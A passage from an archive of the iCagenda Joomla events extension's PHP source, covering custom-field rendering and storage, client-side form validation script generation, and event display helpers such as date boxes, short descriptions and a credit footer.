			$opts_list = str_replace("\n", "##BREAK##", $options);
			$opts_list = explode("##BREAK##", $opts_list);

			foreach ($opts_list as $opts)
			{
				$opt = explode("=", $opts);

				if (($opt[0] || $opt[0] == 0) && $opt[1])
				{
					if (empty($value))
					{
						$checked = isset($opt[2]) ? ' checked="checked"' : '';
						$default = $checked ? $ic_prefix . 'btn-success' : '';
					}
					elseif ($value == $opt[0])
					{
						$checked = '';
						$default = $ic_prefix . 'btn-success';
					}
					else
					{
						$checked = '';
						$default = '';
					}

					$class_btn = $app->isSite() ? 'ic-btn ' : '';

					$cf_fields.= '<label class="' . $class_btn . $default . '">';
					$cf_fields.= '<input type="radio"';
					$cf_fields.= ' id="' . $slug . '_slug"';
					$cf_fields.= ' name="' . $ic_data . '[';
					$cf_fields.= $slug;
					$cf_fields.= ']"';
					$cf_fields.= ' value="'.$opt[0].'"';

					if ($value == $opt[0])
					{
						$cf_fields.= ' checked="checked"';
					}

					$cf_fields.= $checked.'/>';
					$cf_fields.= $opt[1].'</label>';
				}
			}

			$cf_fields.= '</fieldset>';
		}

		if ($icTip_custom && $app->isSite())
		{
			$cf_fields.= ' <span class="iCFormTip iCicon-info-circle" title="' . $icTip_custom . '"></span>';
		}

		$cf_fields.= '</div>';
		$cf_fields.= '</div>';

		return $cf_fields;
	}


	/**
	 * Save Custom Fields to the database if at least one is filled
	 * or update existing data from custom fields.
	 *
	 * @since	3.4.0
	 */
	static public function saveToData($custom_fields, $parent_id, $parent_form, $state = 1, $language = '*')
	{
		// Get the database connector.
		$db = JFactory::getDBO();

		if (isset($custom_fields) && is_array($custom_fields))
		{
			foreach ( $custom_fields as $name => $value )
			{
				$customfields_data = new stdClass();
				$customfields_data->slug = $name;
				$customfields_data->value = $value;
				$customfields_data->state = $state;
				$customfields_data->parent_form = $parent_form;
				$customfields_data->parent_id = $parent_id;
				$customfields_data->language = $language;

				$query = $db->getQuery(true)
					->select('id')
					->from($db->qn('#__icagenda_customfields_data'))
					->where($db->qn('slug') . ' = ' . $db->q($customfields_data->slug))
					->where($db->qn('parent_form') . ' = ' . $db->q($customfields_data->parent_form))
					->where($db->qn('parent_id') . ' = ' . $db->q($customfields_data->parent_id));
				$db->setQuery($query);
				$id_exists = $db->loadResult();

				if ( ! $id_exists && $customfields_data->value)
				{
					$db->insertObject( '#__icagenda_customfields_data', $customfields_data, 'id' );
				}
				elseif (empty($customfields_data->value))
				{
					$query = $db->getQuery(true);

					// Delete any empty slug records from the __icagenda_customfields_data table if exists
					$conditions = array(
    					$db->quoteName('parent_id') . ' = ' . $db->quote($customfields_data->parent_id),
    					$db->quoteName('slug') . ' = ' . $db->quote($customfields_data->slug)
					);

					$query->delete($db->quoteName('#__icagenda_customfields_data'));
					$query->where($conditions);

					$db->setQuery($query);
					$db->execute($query);

					if ( ! $db->execute())
					{
						return false;
					}
				}
				else
				{
					$customfields_data->id = $id_exists;
					$db->updateObject('#__icagenda_customfields_data', $customfields_data, 'id');
				}
			}
		}
	}

	/**
	 * Delete Custom Fields from the database
	 * or update existing data from custom fields.
	 *
	 * @since	3.5.6
	 */
	static public function deleteData($parent_id, $parent_form)
	{
		// Get the database connector.
		$db = JFactory::getDbo();

		// Delete any unwanted customfields records from the __icagenda_customfields_data table
		$query = $db->getQuery(true);
		$query->delete($db->qn('#__icagenda_customfields_data'));
		$query->where('parent_id = ' . (int) $parent_id);
		$query->where('parent_form = ' . (int) $parent_form);

		$db->setQuery($query);
		$db->execute($query);

		if ( ! $db->execute())
		{
			return false;
		}

		return true;
	}

	/**
	 * Clean Custom Fields from the database (fix for previous versions)
	 *
	 * @since	3.5.6
	 */
	static public function cleanData($parent_form)
	{
		// Get the database connector.
		$db = JFactory::getDbo();

		// Get Registrations ids
		if ($parent_form == 1)
		{
			$query = $db->getQuery(true)
				->select('id')
				->from($db->qn('#__icagenda_registration'));
			$db->setQuery($query);
			$list = $db->loadColumn();
		}

		// Get Events ids
		elseif ($parent_form == 2)
		{
			// Get Registrations ids
			$query = $db->getQuery(true)
				->select('id')
				->from($db->qn('#__icagenda_events'));
			$db->setQuery($query);
			$list = $db->loadColumn();
		}

		$parent_ids = isset($list) && is_array($list) ? implode(',', $list) : '';

		// Delete any unwanted customfields records from the __icagenda_customfields_data table
		$query = $db->getQuery(true);
		$query->delete($db->qn('#__icagenda_customfields_data'));
		$query->where('parent_form = ' . (int) $parent_form);
		$query->where('parent_id NOT IN (' . $parent_ids . ')');

		$db->setQuery($query);
		$db->execute($query);

		if ( ! $db->execute())
		{
			return false;
		}

		return true;
	}
}
com_icagenda/utilities/customfields/index.html000060400000000037152455305270015652 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/class/class.php000060400000003322152455305270014077 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-06-29
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaClass
 */
class icagendaClass
{
	/**
	 * Function to set an alert message if a class from Utilities is not loaded
	 *
	 * @since	3.4.0
	 */
	static public function isLoaded($class = null)
	{
		if (!class_exists($class) && $class)
		{
			$app = JFactory::getApplication();

			$alert_message = JText::sprintf('ICAGENDA_CLASS_NOT_FOUND', '<strong>' . $class . '</strong>') . '<br />'
							. JText::_('ICAGENDA_IS_NOT_CORRECTLY_INSTALLED');

			// Get the message queue
			$messages = $app->getMessageQueue();

			$display_alert_message = false;

			// If we have messages
			if (is_array($messages) && count($messages))
			{
				// Check each message for the one we want
				foreach ($messages as $key => $value)
				{
					if ($value['message'] == $alert_message)
					{
						$display_alert_message = true;
					}
				}
			}

			if (!$display_alert_message)
			{
				$app->enqueueMessage($alert_message, 'error');
			}

			return false;
		}
		else
		{
			return true;
		}
	}
}
com_icagenda/utilities/class/index.html000060400000000037152455305270014256 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/form/index.html000060400000000037152455305270014114 0ustar00<!DOCTYPE html><title></title>
com_icagenda/utilities/form/form.php000060400000032521152455305270013576 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.10 2015-08-14
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaForm
 */
class icagendaForm
{
	/**
	 * Function to return script validation for a form used in iCagenda
	 *
	 * @access	public static
	 * @param	$parent_form form type ID ('1' registration, '2' event edit or new)
	 * 			// $form_location ('site' or 'admin')
	 * @return	script
	 *
	 * @since   3.4.0
	 */
	static public function submit($parent_form = null)
	{
		if (!$parent_form) return false;
		if ($parent_form == 1) $parent_name = 'registration';
		if ($parent_form == 2) $parent_name = 'event';

		$app	= JFactory::getApplication();
		$lang	= JFactory::getLanguage();

		$id_suffix = ($lang->getTag() == 'fa-IR') ? '_jalali' : '';

		if ($app->isAdmin())
		{
			$params		= JComponentHelper::getParams('com_icagenda');
		}
		elseif ($app->isSite())
		{
			$params		= $app->getParams();
		}

		$submit_periodDisplay = $params->get('submit_periodDisplay', 1);
		$submit_datesDisplay = $params->get('submit_datesDisplay', 1);

		JText::script('COM_ICAGENDA_REGISTRATION_NO_EVENT_SELECTED_ALERT');
		JText::script('COM_ICAGENDA_FORM_NC');
		JText::script('COM_ICAGENDA_FORM_NO_DATES_ALERT');
		JText::script('COM_ICAGENDA_TERMS_AND_CONDITIONS_NOT_CHECKED_REGISTRATION');
		JText::script('COM_ICAGENDA_ALERT_TEXT_EXCEEDS_CHARACTER_LIMIT');

		$prefix_id = $app->isAdmin() ? 'jform_' : '';

		// Copyleft function strpos
		// +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
		// +   improved by: Onno Marsman
		// +   bugfixed by: Daniel Esteban
		// +   improved by: Brett Zamir (http://brett-zamir.me)
		// +     edited by: Cyril Rezé (http://www.joomlic.com)
		// *     example 1: strpos('Kevin van Zonneveld', 'e', 5);
		// *     returns 1: 14

		$ic_script = array();

		if ( $app->isSite() )
		{
			$ic_script[] = '	function iCheckForm() {';
			$ic_script[] = '		var agree = document.getElementById("formAgree");';

			if ($parent_form == 2)
			{
				$ic_script[] = '		if (agree.checked) {';
				$ic_script[] = '			document.getElementById("tos").value = "checked";';
				$ic_script[] = '		}';
			}
		}
		elseif ( $app->isAdmin() )
		{
			$ic_script[] = 'jQuery(document).ready(function() {';
			$ic_script[] = '	Joomla.submitbutton = function(task) {';
		}

		if ($parent_form == 1 && $app->isAdmin())
		{
			$ic_script[] = '		var eventid = document.getElementById("' . $prefix_id . 'eventid_id");';
			$ic_script[] = '		if ((eventid.value == "") && (task != "' . $parent_name . '.cancel")) {';
			$ic_script[] = '			alert(Joomla.JText._("COM_ICAGENDA_REGISTRATION_NO_EVENT_SELECTED_ALERT"));';
			$ic_script[] = '			return false;';
			$ic_script[] = '		}';
		}

		if ($parent_form == 2)
		{
			$ic_script[] = '		function strpos (haystack, needle, offset) {';
			$ic_script[] = '			var i = (haystack + "").indexOf(needle, (offset || 0));';
			$ic_script[] = '			return i === -1 ? false : i;';
			$ic_script[] = '		}';

			$ic_script[] = '		var nodate = "0";';
			$ic_script[] = '		var noserialdate = \'a:1:{i:0;s:19:"0000-00-00 00:00:00";}\';';
			$ic_script[] = '		var noserialdate2 = \'a:1:{i:0;s:16:"0000-00-00 00:00";}\';';
			$ic_script[] = '		var emptydatetime = "0000-00-00 00:00:00";';

			if ($submit_periodDisplay && $app->isSite())
			{
				$ic_script[] = '		var startDate = document.getElementById("startdate' . $id_suffix . '");';
				$ic_script[] = '		var endDate = document.getElementById("enddate' . $id_suffix . '");';
				$ic_script[] = '		var isValidStartDate = strpos(startDate.value, nodate, 0);';
				$ic_script[] = '		var isValidEndDate = strpos(endDate.value, nodate, 0);';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '		var startDate = document.getElementById("startdate' . $id_suffix . '");';
				$ic_script[] = '		var endDate = document.getElementById("enddate' . $id_suffix . '");';
				$ic_script[] = '		var isValidStartDate = strpos(startDate.value, nodate, 0);';
				$ic_script[] = '		var isValidEndDate = strpos(endDate.value, nodate, 0);';
			}
			if ($submit_datesDisplay && $app->isSite())
			{
				$ic_script[] = '		var Dates = document.getElementById("' . $prefix_id . 'dates_id");';
				$ic_script[] = '		var isValidSingleDate = strpos(Dates.value, nodate, 2);';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '		var Dates = document.getElementById("' . $prefix_id . 'dates_id");';
				$ic_script[] = '		var isValidSingleDate = strpos(Dates.value, nodate, 2);';
			}

			$ic_script[] = '		if (';

			if ($submit_datesDisplay && $app->isSite())
			{
				$ic_script[] = '			( !isValidSingleDate';
				$ic_script[] = '			|| (Dates.value == noserialdate && isValidSingleDate)';
				$ic_script[] = '			|| (Dates.value == noserialdate2 && isValidSingleDate)';
				$ic_script[] = '			|| Dates.value == "" )';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			( !isValidSingleDate';
				$ic_script[] = '			|| (Dates.value == noserialdate && isValidSingleDate)';
				$ic_script[] = '			|| (Dates.value == noserialdate2 && isValidSingleDate)';
				$ic_script[] = '			|| Dates.value == "" )';
			}

			if ($submit_periodDisplay && $submit_datesDisplay && $app->isSite())
			{
				$ic_script[] = '			&& ';
			}

			if ($submit_periodDisplay && $app->isSite())
			{
				$ic_script[] = '			( (!isValidStartDate || (startDate.value == emptydatetime)) )';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			&& ( (!isValidStartDate || (startDate.value == emptydatetime)) )';
			}

			if ($app->isAdmin()) $ic_script[] = '			&& ( task != "' . $parent_name . '.cancel" ) ';

			$ic_script[] = '		) {';
			$ic_script[] = '			alert(Joomla.JText._("COM_ICAGENDA_FORM_NO_DATES_ALERT"));';
			$ic_script[] = '			document.getElementById("message_error").innerHTML = "'
											. JText::_("COM_ICAGENDA_FORM_NO_DATES_ALERT") . '";';
			$ic_script[] = '			document.getElementById("form_errors").style.display = "block";';

			if ($submit_periodDisplay && $app->isSite())
			{
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").value = emptydatetime;';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").value = emptydatetime;';
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").addClass("ic-date-invalid");';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").addClass("ic-date-invalid");';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").value = emptydatetime;';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").value = emptydatetime;';
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").addClass("ic-date-invalid");';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").addClass("ic-date-invalid");';
			}

			if ($submit_datesDisplay && $app->isSite())
			{
				$ic_script[] = '			document.getElementById("dTable' . $id_suffix . '").addClass("ic-date-invalid");';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			document.getElementById("dTable' . $id_suffix . '").addClass("ic-date-invalid");';
			}

			$ic_script[] = '			scroll_to = document.getElementById("ic-dates-fieldset");';
			$ic_script[] = '			scroll_to.scrollIntoView();';
			$ic_script[] = '			return false;';
			$ic_script[] = '		}';
			$ic_script[] = '		else {';
			$ic_script[] = '			document.getElementById("form_errors").style.display = "none";';

			if ($submit_periodDisplay && $app->isSite())
			{
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").removeClass("ic-date-invalid");';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").removeClass("ic-date-invalid");';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			document.getElementById("startdate' . $id_suffix . '").removeClass("ic-date-invalid");';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").removeClass("ic-date-invalid");';
			}

			if ($submit_datesDisplay && $app->isSite())
			{
				$ic_script[] = '			document.getElementById("dTable' . $id_suffix . '").removeClass("ic-date-invalid");';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '			document.getElementById("dTable' . $id_suffix . '").removeClass("ic-date-invalid");';
			}

			$ic_script[] = '		}';

			if ($submit_periodDisplay && $app->isSite())
			{
				$ic_script[] = '		if (isValidStartDate && !isValidEndDate) {';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").value = startDate.value;';
				$ic_script[] = '		}';
			}
			elseif ($app->isAdmin())
			{
				$ic_script[] = '		if (isValidStartDate && !isValidEndDate) {';
				$ic_script[] = '			document.getElementById("enddate' . $id_suffix . '").value = startDate.value;';
				$ic_script[] = '		}';
			}
		}

		$customfields = icagendaCustomfields::getCustomfields($parent_form);

		if ($customfields && $app->isAdmin())
		{
			$options_required = array('list', 'radio');

			foreach ($customfields as $icf)
			{
				// If type is list or radio, should have options. All, field required.
				if (((in_array($icf->type, $options_required) && $icf->options)
					|| ! in_array($icf->type, $options_required))
					&& $icf->required)
				{
					$ic_script[] = '		var ' . $icf->slug . '_slug = document.getElementById("' . $icf->slug . '_slug");';
					$ic_script[] = '		if ( ( ' . $icf->slug . '_slug.value == "" ) ';

					if ($app->isAdmin()) $ic_script[] = '			&& ( task != "' . $parent_name . '.cancel" ) ';

					$ic_script[] = '		) {';
					$ic_script[] = '			alert(Joomla.JText._("COM_ICAGENDA_FORM_NC"));';
					$ic_script[] = '			document.getElementById("message_error").innerHTML = "'
												. JText::sprintf("COM_ICAGENDA_FORM_VALIDATE_FIELD_REQUIRED_NAME", $icf->title) . '";';
					$ic_script[] = '			document.getElementById("form_errors").style.display = "block";';
					$ic_script[] = '			document.getElementById("' . $icf->alias . '_alias").addClass("ic-field-invalid");';
					$ic_script[] = '			document.getElementById("' . $icf->slug . '_slug").addClass("ic-field-invalid");';
					$ic_script[] = '			scroll_to = document.getElementById("' . $icf->alias . '_alias");';
					$ic_script[] = '			scroll_to.scrollIntoView();';
					$ic_script[] = '			return false;';
					$ic_script[] = '		}';
					$ic_script[] = '		else {';
					$ic_script[] = '			document.getElementById("form_errors").style.display = "none";';
					$ic_script[] = '			document.getElementById("' . $icf->alias . '_alias").removeClass("ic-field-invalid");';
					$ic_script[] = '			document.getElementById("' . $icf->slug . '_slug").removeClass("ic-field-invalid");';
					$ic_script[] = '		}';
				}
			}
		}

		if ($app->isAdmin())
		{
			$ic_script[] = '		if (task == "' . $parent_name . '.cancel"';
			$ic_script[] = '			|| document.formvalidator.isValid(document.id("' . $parent_name . '-form")))';
			$ic_script[] = '		{';
			$ic_script[] = '			// do field validation';
			$ic_script[] = '			Joomla.submitform(task, document.getElementById("' . $parent_name . '-form"));';
			$ic_script[] = '		}';
			$ic_script[] = '		else {';
			$ic_script[] = '			alert("' . JText::_("JGLOBAL_VALIDATION_FORM_FAILED") . '");';
			$ic_script[] = '		}';
		}

		if ($app->isSite())
		{
			$ic_script[] = '		if (!agree.checked) {';
			if ($parent_form == 1) $ic_script[] = '			alert(Joomla.JText._("COM_ICAGENDA_TERMS_AND_CONDITIONS_NOT_CHECKED_REGISTRATION"));';
			if ($parent_form == 2) $ic_script[] = '			alert(Joomla.JText._("COM_ICAGENDA_TERMS_OF_SERVICE_NOT_CHECKED_SUBMIT_EVENT"));';
			$ic_script[] = '			scroll_to = document.getElementById("content");';
			$ic_script[] = '			scroll_to.scrollIntoView();';
			$ic_script[] = '			return false;';
			$ic_script[] = '		}';
		}

		$ic_script[] = '	}';

		if ($app->isAdmin())
		{
			$ic_script[] = '});';
		}

		return implode("\n", $ic_script);
	}

	/**
	 * Function to set timepicker.js and date function strings of translation
	 *
	 * @access	public static
	 *
	 * @since   3.4.1
	 */
	static public function loadDateTimePickerJSLanguage()
	{
		// icdates.js Strings of Translation
		JText::script('COM_ICAGENDA_DELETE_DATE');

		// timepicker.js Strings of Translation
		JText::script('JANUARY');
		JText::script('FEBRUARY');
		JText::script('MARCH');
		JText::script('APRIL');
		JText::script('MAY');
		JText::script('JUNE');
		JText::script('JULY');
		JText::script('AUGUST');
		JText::script('SEPTEMBER');
		JText::script('OCTOBER');
		JText::script('NOVEMBER');
		JText::script('DECEMBER');

		JText::script('SA');
		JText::script('SU');
		JText::script('MO');
		JText::script('TU');
		JText::script('WE');
		JText::script('TH');
		JText::script('FR');

		JText::script('COM_ICAGENDA_TP_CURRENT');
		JText::script('COM_ICAGENDA_TP_CLOSE');
		JText::script('COM_ICAGENDA_TP_TITLE');
		JText::script('COM_ICAGENDA_TP_TIME');
		JText::script('COM_ICAGENDA_TP_HOUR');
		JText::script('COM_ICAGENDA_TP_MINUTE');
	}
}
com_icagenda/utilities/events/events.php000060400000037135152455305270014506 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     iCagenda
 * @subpackage  utilities
 * @copyright   Copyright (c)2014-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.12 2015-10-01
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * class icagendaEvents
 */
class icagendaEvents
{
	/**
	 * Function to return event access (access levels, approval and event access status)
	 *
	 * @access	public static
	 * @param	$id - id of the event
	 * @return	list array of access levels, approval and event access status
	 *
	 * @since	3.4.0
	 */
	static public function eventAccess($id = null)
	{
		// Preparing connection to db
		$db = Jfactory::getDbo();

		// Preparing the query
		$query = $db->getQuery(true);
		$query->select('e.state AS evtState, e.approval AS evtApproval, e.access AS evtAccess')
			->from($db->qn('#__icagenda_events').' AS e')
			->where($db->qn('e.id').' = '.$db->q($id));
		$query->select('v.title AS accessName')
			->join('LEFT', $db->quoteName('#__viewlevels') . ' AS v ON v.id = e.access');
		$db->setQuery($query);
		$eventAccess = $db->loadObject();

		if ($eventAccess)
		{
			return $eventAccess;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Function to return feature Icons for an event
	 *
	 * @access	public static
	 * @param	$id - id of the event
	 * @return	list array of feature icons
	 *
	 * @since	3.4.0
	 */
	public static function featureIcons($id = null)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('DISTINCT f.icon, f.icon_alt');
		$query->from('`#__icagenda_feature_xref` AS fx');
		$query->innerJoin("`#__icagenda_feature` AS f ON fx.feature_id=f.id AND f.state=1 AND f.icon<>'-1'");
		$query->where('fx.event_id=' . $id);
		$query->order('f.ordering DESC'); // Order descending because the icons are floated right
		$db->setQuery($query);
		$feature_icons = $db->loadObjectList();

		return $feature_icons;
	}

	/**
	 * Function to return footer list of events
	 *
	 * @since	3.4.0
	 */
	public static function isListOfEvents()
	{
		$app = JFactory::getApplication();
		$params = $app->getParams();
		$list_of_events = $params->get('copy', '');
		$core = $params->get('icsys');
		$string = '<a href="ht';
		$string.= 'tp://icag';
		$string.= 'enda.jooml';
		$string.= 'ic.com" target="_blank" style="font-weight: bold; text-decoration: none !important;">';
		$string.= 'iCagenda';
		$string.= '</a>';
		$icagenda = JText::sprintf('ICAGENDA_THANK_YOU_NOT_TO_REMOVE', $string);
		$default = '&#80;&#111;&#119;&#101;&#114;&#101;&#100;&nbsp;&#98;&#121;&nbsp;';
		$footer = '<div style="text-align: center; font-size: 10px; text-decoration: none"><p>';
		$footer.= preg_match('/iCagenda/',$icagenda) ? $icagenda : $default . $string;
		$footer.= '</p></div>';

		if ($list_of_events || $core == 'core')
		{
			echo $footer;
		}
	}

	/**
	 * DAY in Date Box (list of events)
	 *
	 * @since 3.5.0
	 */
	public static function day($date, $item = null)
	{
		$eventTimeZone	= null;

		$this_date		= JHtml::date($date, 'Y-m-d H:i', $eventTimeZone);
		$day_date		= JHtml::date($date, 'd', $eventTimeZone);
		$day_today		= JHtml::date('now', 'd');
		$date_today		= JHtml::date('now', 'Y-m-d');

		if ($item)
		{
			$weekdays		= $item->weekdays;
			$period			= unserialize($item->period);
			$period			= is_array($period) ? $period : array();
			$is_in_period	= (in_array($this_date, $period)) ? true : false;
			$startdate		= $item->startdatetime;
			$day_startdate	= JHtml::date($startdate, 'd', $eventTimeZone);
			$enddate		= $item->enddatetime;
			$day_enddate	= JHtml::date($enddate, 'd', $eventTimeZone);
		}

		if ($item && $is_in_period
			&& $weekdays == ''
			&& strtotime($startdate) <= strtotime($date_today)
			&& strtotime($enddate) >= strtotime($date_today)
			)
		{
			$day = '';

			if ($day_today > $day_startdate)
			{
//				$day.= '<span style="font-size: 14px; vertical-align: middle">' . $day_startdate . '&nbsp;</span>';
//				$day.= '<span style="font-size: 16px; vertical-align: middle">&#8676;</span>';
			}
			else
			{
//				$day.= '<span style="font-size: 14px; vertical-align: middle; color: transparent; text-shadow: none; text-decoration: none;">' . $day_startdate . '&nbsp;</span>';
//				$day.= '<span style="font-size: 16px; vertical-align: middle; color: transparent; text-shadow: none; text-decoration: none;">&#8676;</span>';
			}

//			$day.= '<span style="border-radius: 10px; padding: 0 5px; border: 2px dotted gray;">' . $day_today . '</span>';
			$day.= '<span class="ic-current-period">' . $day_today . '</span>';
//			$day.= $day_today;

			if ($day_today < $day_enddate)
			{
//				$day.= '<span style="font-size: 16px; vertical-align: middle">&#8677;</span>';
//				$day.= '<span style="font-size: 14px; vertical-align: middle">&nbsp;' . $day_enddate . '</span>';
			}
			else
			{
//				$day.= '<span style="font-size: 16px; vertical-align: middle; color: transparent; text-shadow: none; text-decoration: none;">&#8677;</span>';
//				$day.= '<span style="font-size: 14px; vertical-align: middle; color: transparent; text-shadow: none; text-decoration: none;">' . $day_enddate . '&nbsp;</span>';
			}

			return $day;
		}
		else
		{
			return $day_date;
		}
	}

	/**
	 * MONTH SHORT in Date Box (list of events)
	 *
	 * @since 3.5.0
	 */
	public static function dateBox($date, $type, $ongoing = null)
	{
		$datetime_today		= JHtml::date('now', 'Y-m-d H:i');

		$monthshort_date	= iCDate::monthShortJoomla($date);
		$monthshort_today	= iCDate::monthShortJoomla($datetime_today);
		$year_date			= JHtml::date($date, 'Y', null);
//		$year_date			= date('Y', strtotime($date));
		$year_today			= JHtml::date('now', 'Y');

		if ($ongoing)
		{
			switch($type)
			{
				case 'monthshort': $value = $monthshort_today; break;
				case 'year': $value = $year_today; break;
			}
		}
		else
		{
			switch($type)
			{
				case 'monthshort': $value = $monthshort_date; break;
				case 'year': $value = $year_date; break;
			}
		}

		return $value;
	}

// DEPRECATED 3.6
	/**
	 * Function to return time formated depending on AM/PM option
	 * Format Time (eg. 00:00 (AM/PM))
	 * $oldtime to be removed (not used since 2.0.0)
	 *
	 * @since 3.4.1
	 */
	public static function dateToTimeFormat($evt, $oldtime = null)
	{
		$app			= JFactory::getApplication();
		$params			= $app->getParams();
		$timeformat		= $params->get('timeformat', 1);
		$eventTimeZone	= null;

		$date_time		= strtotime(JHtml::date($evt, 'Y-m-d H:i', $eventTimeZone));
 		$t_time			= date('H:i', $date_time);

		$time_format	= ($timeformat == 1) ? '%H:%M' : '%I:%M %p';
		$lang_time		= strftime($time_format, strtotime($t_time));

		$time = ($oldtime != NULL && $t_time == '00:00') ? $oldtime : JText::_($lang_time);

		return $time;
	}

	/**
	 * Function to return Auto Short Description (Full Description > Short)
	 *
	 * @since 3.5.6
	 */
	public static function shortDescription($text, $isModule = null, $option = null, $limit = null)
	{
		$descdata		= $text;
		$desc_full		= self::deleteAllBetween('{', '}', $descdata);

		// Menu Options
		$app			= JFactory::getApplication();
		$params			= $app->getParams();

//		$limitGlobal	= ! $isModule ? $params->get('limitGlobal', 0) : 1;
//		$customlimit	= ! $isModule ? $params->get('limit', '100') : false;
		$limitGlobal	= ! $isModule ? $params->get('limitGlobal', 0) : 0;
		$customlimit	= ! $isModule ? $params->get('limit', '100') : $limit;

		// Global Options Component iCagenda
		$iCparams		= JComponentHelper::getParams('com_icagenda');

		if ($limitGlobal == 1)
		{
			$limit = $params->get('ShortDescLimit', '100');
		}
		else
		{
			$limit_global_option = $iCparams->get('ShortDescLimit', '100');
			$limit = is_numeric($customlimit) ? $customlimit : $limit_global_option;
		}

		// Html tags removal Global Option (component iCagenda) - Short Description
		$Filtering_ShortDesc_Global	= $iCparams->get('Filtering_ShortDesc_Global', '');
		$HTMLTags_ShortDesc_Global	= $iCparams->get('HTMLTags_ShortDesc_Global', array());

		// Get Module Option
		$Filtering_ShortDesc_Module	= $isModule ? $option : '';

		/**
		 * START Filtering HTML method
		 */
		$limit				= is_numeric($limit) ? $limit : false;

		// Gets length of the short desc, when not filtered
		$limit_not_filtered	= substr($desc_full, 0, $limit);
		$text_length		= strlen($limit_not_filtered);

		// Gets length of the short desc, after html filtering
		$limit_filtered		= preg_replace('/[\p{Z}\s]{2,}/u', ' ', $limit_not_filtered);
		$limit_filtered		= strip_tags($limit_filtered);
		$text_short_length	= strlen($limit_filtered);

		// Sets Limit + special tags authorized
		$limit_short		= $limit + ($text_length - $text_short_length);

		// Replaces all authorized html tags with tag strings
		if (empty($Filtering_ShortDesc_Module)
			&& ($Filtering_ShortDesc_Global == '1') )
		{
			$desc_full = str_replace('+', '@@', $desc_full);
			$desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br>', '+@br@', $desc_full) : $desc_full;
			$desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br/>', '+@br@', $desc_full) : $desc_full;
			$desc_full = in_array('1', $HTMLTags_ShortDesc_Global) ? str_replace('<br />', '+@br@', $desc_full) : $desc_full;
			$desc_full = in_array('2', $HTMLTags_ShortDesc_Global) ? str_replace('<b>', '+@b@', $desc_full) : $desc_full;
			$desc_full = in_array('2', $HTMLTags_ShortDesc_Global) ? str_replace('</b>', '@bc@', $desc_full) : $desc_full;
			$desc_full = in_array('3', $HTMLTags_ShortDesc_Global) ? str_replace('<strong>', '@strong@', $desc_full) : $desc_full;
			$desc_full = in_array('3', $HTMLTags_ShortDesc_Global) ? str_replace('</strong>', '@strongc@', $desc_full) : $desc_full;
			$desc_full = in_array('4', $HTMLTags_ShortDesc_Global) ? str_replace('<i>', '@i@', $desc_full) : $desc_full;
			$desc_full = in_array('4', $HTMLTags_ShortDesc_Global) ? str_replace('</i>', '@ic@', $desc_full) : $desc_full;
			$desc_full = in_array('5', $HTMLTags_ShortDesc_Global) ? str_replace('<em>', '@em@', $desc_full) : $desc_full;
			$desc_full = in_array('5', $HTMLTags_ShortDesc_Global) ? str_replace('</em>', '@emc@', $desc_full) : $desc_full;
			$desc_full = in_array('6', $HTMLTags_ShortDesc_Global) ? str_replace('<u>', '@u@', $desc_full) : $desc_full;
			$desc_full = in_array('6', $HTMLTags_ShortDesc_Global) ? str_replace('</u>', '@uc@', $desc_full) : $desc_full;
		}
		elseif ( $Filtering_ShortDesc_Module == '2'
			|| (($Filtering_ShortDesc_Global == '') && empty($Filtering_ShortDesc_Module)) )
		{
			$desc_full		= '@i@'.$desc_full.'@ic@';
			$limit_short	= $limit_short + 7;
		}
		else
